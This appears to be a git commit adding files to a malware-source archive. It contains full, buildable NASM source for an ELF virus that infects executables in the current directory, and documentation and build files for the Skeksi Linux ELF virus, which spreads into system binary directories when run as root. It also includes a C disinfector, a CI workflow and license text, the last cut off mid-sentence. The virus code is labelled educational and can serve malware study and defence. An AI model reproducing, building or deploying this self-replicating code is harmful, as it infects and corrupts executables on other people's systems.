This commit is contained in:
vxunderground 2022-01-14 04:09:54 -06:00
parent fde7492490
commit 32598fde0f
792 changed files with 82555 additions and 0 deletions

View File

@ -0,0 +1,21 @@
MIT License
Copyright (c) 2016 Eddie Kim
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

View File

@ -0,0 +1,21 @@
Cranky's Data Virus
========================================
(for educational purpose only!)
This application is used as my demonstration for:
<a href="https://cranklin.wordpress.com/2016/12/26/how-to-create-a-virus-using-the-assembly-language">How to Create a Virus Using the Assembly Language</a>
Description:
------------
This is an educational virus meant for infecting 32-bit ELF executables on Linux.
This virus uses the data segment infection method
This virus only infects ELF executables in the same directory
To assemble:
-----------
```
> nasm -f elf -F dwarf -g cranky_data_virus.asm
> ld -m elf_i386 -e v_start -o cranky_data_virus cranky_data_virus.o
```

View File

@ -0,0 +1,344 @@
;; nasm -f elf -F dwarf -g cranky_data_virus.asm
;; ld -m elf_i386 -e v_start -o cranky_data_virus cranky_data_virus.o
section .text
global v_start
v_start:
; virus body start
; make space in the stack for some uninitialized variables to avoid a .bss section
mov ecx, 2328 ; set counter to 2328 (x4 = 9312 bytes). filename (esp), buffer (esp+32), targets (esp+1056), targetfile (esp+2080)
loop_bss:
push 0x00 ; reserve 4 bytes (double word) of 0's
sub ecx, 1 ; decrement our counter by 1
cmp ecx, 0
jbe loop_bss
mov edi, esp ; esp has our fake .bss offset. Let's store it in edi for now.
call folder
db ".", 0
folder:
pop ebx ; name of the folder
mov esi, 0 ; reset offset for targets
mov eax, 5 ; sys_open
mov ecx, 0
mov edx, 0
int 80h
cmp eax, 0 ; check if fd in eax > 0 (ok)
jbe v_stop ; cannot open file. Exit virus
mov ebx, eax
mov eax, 0xdc ; sys_getdents64
mov ecx, edi ; fake .bss section
add ecx, 32 ; offset for buffer
mov edx, 1024
int 80h
mov eax, 6 ; close
int 80h
xor ebx, ebx ; zero out ebx as we will use it as the buffer offset
find_filename_start:
; look for the sequence 0008 which occurs before the start of a filename
inc ebx
cmp ebx, 1024
jge infect
cmp byte [edi+32+ebx], 0x00 ; edi+32 is buffer
jnz find_filename_start
inc ebx
cmp byte [edi+32+ebx], 0x08 ; edi+32 is buffer
jnz find_filename_start
xor ecx, ecx ; clear out ecx which will be our offset for file
mov byte [edi+ecx], 0x2e ; prepend file with ./ for full path (.) edi is filename
inc ecx
mov byte [edi+ecx], 0x2f ; prepend file with ./ for full path (/) edi is filename
inc ecx
find_filename_end:
; look for the 00 which denotes the end of a filename
inc ebx
cmp ebx, 1024
jge infect
push esi ; save our target offset
mov esi, edi ; fake .bss
add esi, 32 ; offset for buffer
add esi, ebx ; set source
push edi ; save our fake .bss
add edi, ecx ; set destination to filename
movsb ; moved byte from buffer to filename
pop edi ; restore our fake .bss
pop esi ; restore our target offset
inc ecx ; increment offset stored in ecx
cmp byte [edi+32+ebx], 0x00 ; denotes end of the filename
jnz find_filename_end
mov byte [edi+ecx], 0x00 ; we have a filename. Add a 0x00 to the end of the file buffer
push ebx ; save our offset in buffer
call scan_file
pop ebx ; restore our offset in buffer
jmp find_filename_start ; find next file
scan_file:
; check the file for infectability
mov eax, 5 ; sys_open
mov ebx, edi ; path (offset to filename)
mov ecx, 0 ; O_RDONLY
int 80h
cmp eax, 0 ; check if fd in eax > 0 (ok)
jbe return ; cannot open file. Return
mov ebx, eax ; fd
mov eax, 3 ; sys_read
mov ecx, edi ; address struct
add ecx, 2080 ; offset to targetfile in fake .bss
mov edx, 12 ; all we need are 4 bytes to check for the ELF header but 12 bytes to find signature
int 80h
call elfheader
dd 0x464c457f ; 0x7f454c46 -> .ELF (but reversed for endianness)
elfheader:
pop ecx
mov ecx, dword [ecx]
cmp dword [edi+2080], ecx ; this 4 byte header indicates ELF! (dword). edi+2080 is offset to targetfile in fake .bss
jnz close_file ; not an executable ELF binary. Return
; check if infected
mov ecx, 0x001edd0e ; 0x0edd1e00 signature reversed for endianness
cmp dword [edi+2080+8], ecx ; signature should show up after the 8th byte. edi+2080 is offset to targetfile in fake .bss
jz close_file ; signature exists. Already infected. Close file.
save_target:
; good target! save filename
push esi ; save our targets offset
push edi ; save our fake .bss
mov ecx, edi ; temporarily place filename offset in ecx
add edi, 1056 ; offset to targets in fake .bss
add edi, esi
mov esi, ecx ; filename -> edi -> ecx -> esi
mov ecx, 32
rep movsb ; save another target filename in targets
pop edi ; restore our fake .bss
pop esi ; restore our targets offset
add esi, 32
close_file:
mov eax, 6
int 80h
return:
ret
infect:
; let's infect these targets!
cmp esi, 0
jbe v_stop ; there are no targets :( exit
sub esi, 32
mov eax, 5 ; sys_open
mov ebx, edi ; path
add ebx, 1056 ; offset to targets in fake .bss
add ebx, esi ; offset of next filename
mov ecx, 2 ; O_RDWR
int 80h
mov ebx, eax ; fd
mov ecx, edi
add ecx, 2080 ; offset to targetfile in fake .bss
reading_loop:
mov eax, 3 ; sys_read
mov edx, 1 ; read 1 byte at a time (yeah, I know this can be optimized)
int 80h
cmp eax, 0 ; if this is 0, we've hit EOF
je reading_eof
mov eax, edi
add eax, 9312 ; 2080 + 7232
cmp ecx, eax ; if the file is over 7232 bytes, let's quit
jge infect
add ecx, 1
jmp reading_loop
reading_eof:
push ecx ; store address of last byte read. We'll need this later
mov eax, 6 ; close file
int 80h
xor ecx, ecx
xor eax, eax
mov cx, word [edi+2080+44] ; ehdr->phnum (number of program header entries)
mov eax, dword [edi+2080+28] ; ehdr->phoff (program header offset)
sub ax, word [edi+2080+42] ; subtract 32 (size of program header entry) to initialize loop
program_header_loop:
; loop through program headers and find the data segment (PT_LOAD, offset>0)
;0 p_type type of segment
;+4 p_offset offset in file where to start the segment at
;+8 p_vaddr his virtual address in memory
;+c p_addr physical address (if relevant, else equ to p_vaddr)
;+10 p_filesz size of datas read from offset
;+14 p_memsz size of the segment in memory
;+18 p_flags segment flags (rwx perms)
;+1c p_align alignement
add ax, word [edi+2080+42]
cmp ecx, 0
jbe infect ; couldn't find data segment. let's close and look for next target
sub ecx, 1 ; decrement our counter by 1
mov ebx, dword [edi+2080+eax] ; phdr->type (type of segment)
cmp ebx, 0x01 ; 0: PT_NULL, 1: PT_LOAD, ...
jne program_header_loop ; it's not PT_LOAD. look for next program header
mov ebx, dword [edi+2080+eax+4] ; phdr->offset (offset of program header)
cmp ebx, 0x00 ; if it's 0, it's the text segment. Otherwise, we found the data segment
je program_header_loop ; it's the text segment. We're interested in the data segment
mov ebx, dword [edi+2080+24] ; old entry point
push ebx ; save the old entry point
mov ebx, dword [edi+2080+eax+4] ; phdr->offset (offset of program header)
mov edx, dword [edi+2080+eax+16] ; phdr->filesz (size of segment on disk)
add ebx, edx ; offset of where our virus should reside = phdr[data]->offset + p[data]->filesz
push ebx ; save the offset of our virus
mov ebx, dword [edi+2080+eax+8] ; phdr->vaddr (virtual address in memory)
add ebx, edx ; new entry point = phdr[data]->vaddr + p[data]->filesz
mov ecx, 0x001edd0e ; insert our signature at byte 8 (unused section of the ELF header)
mov [edi+2080+8], ecx
mov [edi+2080+24], ebx ; overwrite the old entry point with the virus (in buffer)
add edx, v_stop - v_start ; add size of our virus to phdr->filesz
add edx, 7 ; for the jmp to original entry point
mov [edi+2080+eax+16], edx ; overwrite the old phdr->filesz with the new one (in buffer)
mov ebx, dword [edi+2080+eax+20] ; phdr->memsz (size of segment in memory)
add ebx, v_stop - v_start ; add size of our virus to phdr->memsz
add ebx, 7 ; for the jmp to original entry point
mov [edi+2080+eax+20], ebx ; overwrite the old phdr->memsz with the new one (in buffer)
xor ecx, ecx
xor eax, eax
mov cx, word [edi+2080+48] ; ehdr->shnum (number of section header entries)
mov eax, dword [edi+2080+32] ; ehdr->shoff (section header offset)
sub ax, word [edi+2080+46] ; subtract 40 (size of section header entry) to initialize loop
section_header_loop:
; loop through section headers and find the .bss section (NOBITS)
;0 sh_name contains a pointer to the name string section giving the
;+4 sh_type give the section type [name of this section
;+8 sh_flags some other flags ...
;+c sh_addr virtual addr of the section while running
;+10 sh_offset offset of the section in the file
;+14 sh_size zara white phone numba
;+18 sh_link his use depends on the section type
;+1c sh_info depends on the section type
;+20 sh_addralign alignement
;+24 sh_entsize used when section contains fixed size entrys
add ax, word [edi+2080+46]
cmp ecx, 0
jbe finish_infection ; couldn't find .bss section. Nothing to worry about. Finish the infection
sub ecx, 1 ; decrement our counter by 1
mov ebx, dword [edi+2080+eax+4] ; shdr->type (type of section)
cmp ebx, 0x00000008 ; 0x08 is NOBITS which is an indicator of a .bss section
jne section_header_loop ; it's not the .bss section
mov ebx, dword [edi+2080+eax+12] ; shdr->addr (virtual address in memory)
add ebx, v_stop - v_start ; add size of our virus to shdr->addr
add ebx, 7 ; for the jmp to original entry point
mov [edi+2080+eax+12], ebx ; overwrite the old shdr->addr with the new one (in buffer)
section_header_loop_2:
mov edx, dword [edi+2080+eax+16] ; shdr->offset (offset of section)
add edx, v_stop - v_start ; add size of our virus to shdr->offset
add edx, 7 ; for the jmp to original entry point
mov [edi+2080+eax+16], edx ; overwrite the old shdr->offset with the new one (in buffer)
add eax, 40
sub ecx, 1
cmp ecx, 0
jg section_header_loop_2 ; this loop isn't necessary to make the virus function, but inspecting the host file with a readelf -a shows a clobbered symbol table and section/segment mapping
finish_infection:
;dword [edi+2080+24] ; ehdr->entry (virtual address of entry point)
;dword [edi+2080+28] ; ehdr->phoff (program header offset)
;dword [edi+2080+32] ; ehdr->shoff (section header offset)
;word [edi+2080+40] ; ehdr->ehsize (size of elf header)
;word [edi+2080+42] ; ehdr->phentsize (size of one program header entry)
;word [edi+2080+44] ; ehdr->phnum (number of program header entries)
;word [edi+2080+46] ; ehdr->shentsize (size of one section header entry)
;word [edi+2080+48] ; ehdr->shnum (number of program header entries)
mov eax, v_stop - v_start ; size of our virus minus the jump to original entry point
add eax, 7 ; for the jmp to original entry point
mov ebx, dword [edi+2080+32] ; the original section header offset
add eax, ebx ; add the original section header offset
mov [edi+2080+32], eax ; overwrite the old section header offset with the new one (in buffer)
mov eax, 5 ; sys_open
mov ebx, edi ; path
add ebx, 1056 ; offset to targets in fake .bss
add ebx, esi ; offset of next filename
mov ecx, 2 ; O_RDWR
int 80h
mov ebx, eax ; fd
mov eax, 4 ; sys_write
mov ecx, edi
add ecx, 2080 ; offset to targetfile in fake .bss
pop edx ; host file up to the offset where the virus resides
int 80h
mov [edi+7], edx ; place the offset of the virus in this unused section of the filename buffer
call delta_offset
delta_offset:
pop ebp ; we need to calculate our delta offset because the absolute address of v_start will differ in different host files. This will be 0 in our original virus
sub ebp, delta_offset
mov eax, 4
lea ecx, [ebp + v_start] ; attach the virus portion (calculated with the delta offset)
mov edx, v_stop - v_start ; size of virus bytes
int 80h
pop edx ; original entry point of host (we'll store this double word in the same location we used for the 32 byte filename)
mov [edi], byte 0xb8 ; op code for MOV EAX (1 byte)
mov [edi+1], edx ; original entry point (4 bytes)
mov [edi+5], word 0xe0ff ; op code for JMP EAX (2 bytes)
mov eax, 4
mov ecx, edi ; offset to filename in fake .bss
mov edx, 7 ; 7 bytes for the final jmp to the original entry point
int 80h
mov eax, 4 ; sys_write
mov ecx, edi
add ecx, 2080 ; offset to targetfile in fake .bss
mov edx, dword [edi+7] ; offset of the virus
add ecx, edx ; let's continue where we left off
pop edx ; offset of last byte in targetfile in fake.bss
sub edx, ecx ; length of bytes to write
int 80h
mov eax, 36 ; sys_sync
int 80h
mov eax, 6 ; close file
int 80h
jmp infect
v_stop:
; virus body stop (host program start)
mov eax, 1 ; sys_exit
mov ebx, 0 ; normal status
int 80h

View File

@ -0,0 +1,7 @@
all: virus
virus:
gcc -O0 -DANTIDEBUG -DINFECT_PLTGOT -fno-stack-protector -c virus.c -fpic -o virus.o
#gcc -g -DDEBUG -O0 -fno-stack-protector -c virus.c -fpic -mcmodel=small -o virus.o
gcc -N -fno-stack-protector -nostdlib virus.o -o virus
clean:
rm -f virus

View File

@ -0,0 +1,46 @@
# skeksi_virus
Linux X86_64 ELF Virus that just might ruin someones day in the wrong hands
## General about
This Virus is humurous, but it is also nasty and should not be executed on any system unless
it is a controlled environmnent, or an expendable Virtual machine setup specifically to host
malware. The Skeksi Virus was written merely for the sake of inventiveness, and to demonstrate
how to write a quality Virus for Linux, mostly in C. It is a work in progress and is not yet
complete.
## Virus specifications
### Infection techniques
* Extends text segment in reverse to make room for parasite
This technique is nice, because it is less suspicious. The entry point still points into the
.text section of the executable, and there is no modifications to the segment permissions or
segment type (such as converting a PT_NOTE to PT_LOAD).
* Infects the PLT/GOT
Currently the Virus only looks for the puts() function which is used to print strings and is
often linked into an executable instead of printf(). The result is that an infected binary will
print everything to stdout in l33t sp34k, randomly with a probability of 1 in 5.
## Infection behaviour
The virus will infect only x86_64 ELF ET_EXEC binaries that are dynamically linked. The virus
will soon also be able to infect shared libaries, but some adjustments must be made to take
into account the position independent type executables. The virus will mark an infected file's
EI_PAD area (9 bytes into the ELF file header) with a magic number 0x15D25. This prevents it
from re-infecting a given file.
If the Virus is launched as a non-root user, it will only infect binaries in the CWD. If the
virus is launched with root privileges it will randomly select one of four directories:
/bin, /usr/bin, /sbin, /usr/sbin. After it picks a target directory it will have a 1 in 10
chance of infecting each file as it iterates through all of them.
## Nuances and notes
Notice we do store string literals, not just on the stack. This is because the text and data
segment are merged into a single segment and each time the virus copies itself, it copies
all of the string data as well.

View File

@ -0,0 +1,4 @@
all:
gcc -O2 disinfect.c -o disinfect
clean:
rm -f disinfect

View File

@ -0,0 +1,359 @@
/*
* Skeksi Virus disinfector, by ElfMaster. January 2016
*
* -= About:
* This disinfector is the first prototype, it is written for those who may have been so unfortunate
* as to infect their own system. The disinfector will work any infected ET_EXEC file, provided that
* it has section headers. This is somewhat of a weakness considering the Virus itself works on executables
* that have no section headers. If you need to change this, its pretty easy, just parse the program
* headers and get PT_DYNAMIC, and then use the D_TAG's to find the PLT/GOT, Relocation, and dynamic
* symbol table.
*
* -= Usage:
* gcc -O2 skeksi_disinfect.c -o disinfect
* ./disinfect <executable>
* elfmaster [4t] zoho.com
*/
#include <stdarg.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <fcntl.h>
#include <dirent.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <elf.h>
#include <errno.h>
typedef struct elfdesc {
Elf64_Ehdr *ehdr;
Elf64_Phdr *phdr;
Elf64_Shdr *shdr;
Elf64_Addr textVaddr;
Elf64_Addr dataVaddr;
Elf64_Addr dataOff;
size_t textSize;
size_t dataSize;
uint8_t *mem;
struct stat st;
char *path;
} elfdesc_t;
#define TMP ".disinfect_file.xyz"
/*
* If we find push/ret, and the address
* being pushed is within the text segment
* of the regular x86_64 text range per the
* default linker script, then we are probably
* in good shape.
* note: 0x400000 is the default text base
*/
uint32_t locate_orig_entry(elfdesc_t *elf)
{
uint32_t i, entry;
uint8_t *mem = elf->mem;
for (i = 0; i < elf->st.st_size; i++) {
if (mem[0] == 0x68 && mem[5] == 0xc3) {
entry = *(uint32_t *)&mem[1];
if (entry >= 0x400000 && entry < 0x4fffff)
return entry;
}
}
return 0; // couldn't find it, uh oh!
}
uint32_t locate_glibc_init_offset(elfdesc_t *elf)
{
uint32_t i;
uint8_t *mem = elf->mem;
for (i = 0; i < elf->st.st_size; i++) {
if (
mem[i + 0] == 0x31 && mem[i + 1] == 0xed &&
mem[i + 2] == 0x49 && mem[i + 3] == 0x89 &&
mem[i + 4] == 0xd1 && mem[i + 5] == 0x5e &&
mem[i + 6] == 0x48 && mem[i + 7] == 0x89 && mem[i + 8] == 0xe2)
return i;
}
return 0;
}
int disinfect_pltgot(elfdesc_t *elf)
{
Elf64_Ehdr *ehdr = elf->ehdr;
Elf64_Phdr *phdr = elf->phdr;
Elf64_Shdr *shdr = elf->shdr;
uint8_t *mem = elf->mem;
Elf64_Sym *symtab = NULL;
Elf64_Rela *rela = NULL;
Elf64_Addr addr = 0, plt_addr = 0;
Elf64_Off plt_off = 0, gotoff = 0;
size_t plt_size = 0, symtab_size = 0, rela_size = 0;
char *shstrtab = (char *)&mem[shdr[elf->ehdr->e_shstrndx].sh_offset];
char *strtab = NULL;
uint8_t *gotptr, *plt;
int i, j, symindex = 0, c = 0;
for (i = 0; i < ehdr->e_shnum; i++) {
switch(shdr[i].sh_type) {
case SHT_DYNSYM:
symtab = (Elf64_Sym *)&mem[shdr[i].sh_offset];
symtab_size = shdr[i].sh_size;
strtab = (char *)&mem[shdr[shdr[i].sh_link].sh_offset];
break;
case SHT_RELA:
if (!strcmp(&shstrtab[shdr[i].sh_name], ".rela.plt")) {
rela = (Elf64_Rela *)&mem[shdr[i].sh_offset];
rela_size = shdr[i].sh_size;
}
break;
case SHT_PROGBITS:
if (!strcmp(&shstrtab[shdr[i].sh_name], ".plt")) {
plt_off = shdr[i].sh_offset;
plt_addr = shdr[i].sh_addr;
plt_size = shdr[i].sh_size;
}
break;
}
}
if (plt_off == 0 || symtab == NULL || rela == NULL) {
printf("Unable to find relocation/symbol/plt info\n");
return -1;
}
plt = &mem[plt_off]; // point at PLT, right past PLT-0
for (i = 0; i < rela_size/sizeof(Elf64_Rela); i++) {
symindex = ELF64_R_SYM(rela->r_info);
if (!strcmp(&strtab[symtab[ELF64_R_SYM(rela->r_info)].st_name], "puts")) {
printf("Attempting to disinfect PLT/GOT\n");
gotoff = elf->dataOff + (rela->r_offset - elf->dataVaddr);
gotptr = &mem[gotoff];
addr = gotptr[0] + (gotptr[1] << 8) + (gotptr[2] << 16) + (gotptr[3] << 24);
if (!(addr >= plt_addr && addr < plt_addr + plt_size)) {
for (c = 0, j = 0; j < plt_size; j += 16, c++) {
if (c == symindex) {
printf("Successfully disinfected PLT/GOT table\n");
*(uint32_t *)gotptr = plt_addr + j + 6;
return 0;
}
}
}
printf("Failed to disinfect PLT/GOT table\n");
return -1;
}
}
return 0;
}
/*
* Expected x86_64 base is 0x400000 in Linux. We rely on that
* here, which may end up being a bit wobbly.
*/
int disinfect(elfdesc_t *elf)
{
size_t paddingSize;
Elf64_Phdr *phdr = elf->phdr;
Elf64_Shdr *shdr = elf->shdr;
uint32_t text_offset = 0;
char *strtab = NULL;
uint8_t *mem = elf->mem;
int i, textfound, fd;
ssize_t c, last_chunk;
if (elf->textVaddr >= 0x400000) {
printf("unexpected text segment address, this file may not actually be infected\n");
return -1;
}
paddingSize = 0x400000 - elf->textVaddr;
/*
* Remove PLT/GOT hooks if present
*/
int ret = disinfect_pltgot(elf);
/*
* Remove infection magic
*/
*(uint32_t *)&elf->ehdr->e_ident[EI_PAD] = 0x00000000;
/*
* PT_PHDR, PT_INTERP were pushed forward in the file
*/
phdr[0].p_offset -= paddingSize;
phdr[1].p_offset -= paddingSize;
/*
* Set phdr's back to normal
*/
for (textfound = 0, i = 0; i < elf->ehdr->e_phnum; i++) {
if (textfound) {
phdr[i].p_offset -= paddingSize;
continue;
}
if (phdr[i].p_type == PT_LOAD && phdr[i].p_offset == 0 && phdr[i].p_flags & PF_X) {
if (phdr[i].p_paddr == phdr[i].p_vaddr) {
phdr[i].p_vaddr += paddingSize;
phdr[i].p_paddr += paddingSize;
} else
phdr[i].p_vaddr += paddingSize;
/*
* reset segment size for text
*/
phdr[i].p_filesz -= paddingSize;
phdr[i].p_memsz -= paddingSize;
phdr[i].p_align = 0x200000;
phdr[i + 1].p_align = 0x200000;
textfound = 1;
}
}
text_offset = locate_glibc_init_offset(elf);
/*
* Straighten out section headers
*/
strtab = (char *)&mem[shdr[elf->ehdr->e_shstrndx].sh_offset];
for (i = 0; i < elf->ehdr->e_shnum; i++) {
/*
* We treat .text section special because it is modified to
* encase the entire parasite code. Lets change it back to
* only encasing the regular .text stuff.
*/
if (!strcmp(&strtab[shdr[i].sh_name], ".text")) {
if (text_offset == 0) // leave unchanged :(
continue;
shdr[i].sh_offset = text_offset - paddingSize;
shdr[i].sh_addr = (text_offset - paddingSize) + 0x400000;
continue;
}
shdr[i].sh_offset -= paddingSize;
}
/*
* Set phdr and shdr table back
*/
elf->ehdr->e_shoff -= paddingSize;
elf->ehdr->e_phoff -= paddingSize;
/*
* Set original entry point
*/
elf->ehdr->e_entry = 0x400000 + text_offset;
elf->ehdr->e_entry -= paddingSize;
if ((fd = open(TMP, O_CREAT | O_TRUNC | O_WRONLY, elf->st.st_mode)) < 0)
return -1;
if ((c = write(fd, mem, sizeof(Elf64_Ehdr))) != sizeof(Elf64_Ehdr))
return -1;
mem += paddingSize + sizeof(Elf64_Ehdr);
last_chunk = elf->st.st_size - (paddingSize + sizeof(Elf64_Ehdr));
if ((c = write(fd, mem, last_chunk)) != last_chunk)
return -1;
if (fchown(fd, elf->st.st_uid, elf->st.st_gid) < 0)
return -1;
rename(TMP, elf->path);
return 0;
}
int load_executable(const char *path, elfdesc_t *elf)
{
uint8_t *mem;
Elf64_Ehdr *ehdr;
Elf64_Phdr *phdr;
Elf64_Shdr *shdr;
int fd;
struct stat st;
int i;
if ((fd = open(path, O_RDONLY)) < 0) {
perror("open");
return -1;
}
fstat(fd, &st);
mem = mmap(NULL, st.st_size, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
if (mem == MAP_FAILED) {
perror("mmap");
return -1;
}
ehdr = (Elf64_Ehdr *)mem;
phdr = (Elf64_Phdr *)&mem[ehdr->e_phoff];
shdr = (Elf64_Shdr *)&mem[ehdr->e_shoff];
elf->st = st;
for (i = 0; i < ehdr->e_phnum; i++) {
switch(!!phdr[i].p_offset) {
case 0:
elf->textVaddr = phdr[i].p_vaddr;
elf->textSize = phdr[i].p_filesz;
break;
case 1:
elf->dataOff = phdr[i].p_offset;
elf->dataVaddr = phdr[i].p_vaddr;
elf->dataSize = phdr[i].p_filesz;
break;
}
}
elf->mem = mem;
elf->ehdr = ehdr;
elf->phdr = phdr;
elf->shdr = shdr;
elf->path = (char *)path;
return 0;
}
int test_for_skeksi(elfdesc_t *elf)
{
uint32_t magic = *(uint32_t *)&elf->ehdr->e_ident[EI_PAD];
return (magic == 0x15D25);
}
int main(int argc, char **argv)
{
elfdesc_t elf;
if (argc < 2) {
printf("Usage: %s <executable>\n", argv[0]);
exit(0);
}
if (load_executable(argv[1], &elf) < 0) {
printf("Failed to load executable: %s\n", argv[1]);
exit(-1);
}
if (test_for_skeksi(&elf) == 0) {
printf("File: %s, is not infected with the Skeksi virus\n", argv[1]);
exit(-1);
}
printf("File: %s, is infected with the skeksi virus! Attempting to disinfect\n", argv[1]);
if (disinfect(&elf) < 0) {
printf("Failed to disinfect file: %s\n", argv[1]);
exit(-1);
}
printf("Successfully disinfected: %s\n", argv[1]);
}

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,26 @@
name: Ubuntu Latest Build CI
on: [push]
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v1
- name: Ensure kmod is installed
run: sudo apt install kmod
- name: Install python3-setuptools and python3-dev
run: sudo apt install -y python3-setuptools python3-dev
- name: Ensure testinfra and ansible-inventory are installed
run: sudo pip3 install testinfra ansible
- name: Export role directory
run: export ANSIBLE_ROLES_PATH="$(pwd)/ansible/roles"
- name: Install Drawbridge
run: ansible-playbook main.yml
working-directory: ./ansible
- name: Run tests
run: py.test --hosts=localhost --connection=ansible --ansible-inventory=roles/drawbridge/tests/inventory roles/drawbridge/tests/test_drawbridge.py
working-directory: ./ansible

View File

@ -0,0 +1,6 @@
*.o
*.pyc
*.ko
*.tmp*
kernel/key.h
tools/target

View File

@ -0,0 +1,674 @@
GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The GNU General Public License is a free, copyleft license for
software and other kinds of works.
The licenses for most software and other practical works are designed
to take away your freedom to share and change the works. By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users. We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors. You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.
To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights. Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received. You must make sure that they, too, receive
or can get the source code. And you must show them these terms so they
know their rights.
Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.
For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software. For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.
Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so. This is fundamentally incompatible with the aim of
protecting users' freedom to change the software. The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable. Therefore, we
have designed this version of the GPL to prohibit the practice for those
products. If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.
Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary. To prevent this, the GPL assures that
patents cannot be used to render the program non-free.
The precise terms and conditions for copying, distribution and
modification follow.
TERMS AND CONDITIONS
0. Definitions.
"This License" refers to version 3 of the GNU General Public License.
"Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.
"The Program" refers to any copyrightable work licensed under this
License. Each licensee is addressed as "you". "Licensees" and
"recipients" may be individuals or organizations.
To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy. The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.
A "covered work" means either the unmodified Program or a work based
on the Program.
To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy. Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.
To "convey" a work means any kind of propagation that enables other
parties to make or receive copies. Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.
An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License. If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.
1. Source Code.
The "source code" for a work means the preferred form of the work
for making modifications to it. "Object code" means any non-source
form of a work.
A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.
The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form. A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.
The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities. However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work. For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.
The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.
The Corresponding Source for a work in source code form is that
same work.
2. Basic Permissions.
All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met. This License explicitly affirms your unlimited
permission to run the unmodified Program. The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work. This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.
You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force. You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright. Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.
Conveying under any other circumstances is permitted solely under
the conditions stated below. Sublicensing is not allowed; section 10
makes it unnecessary.
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
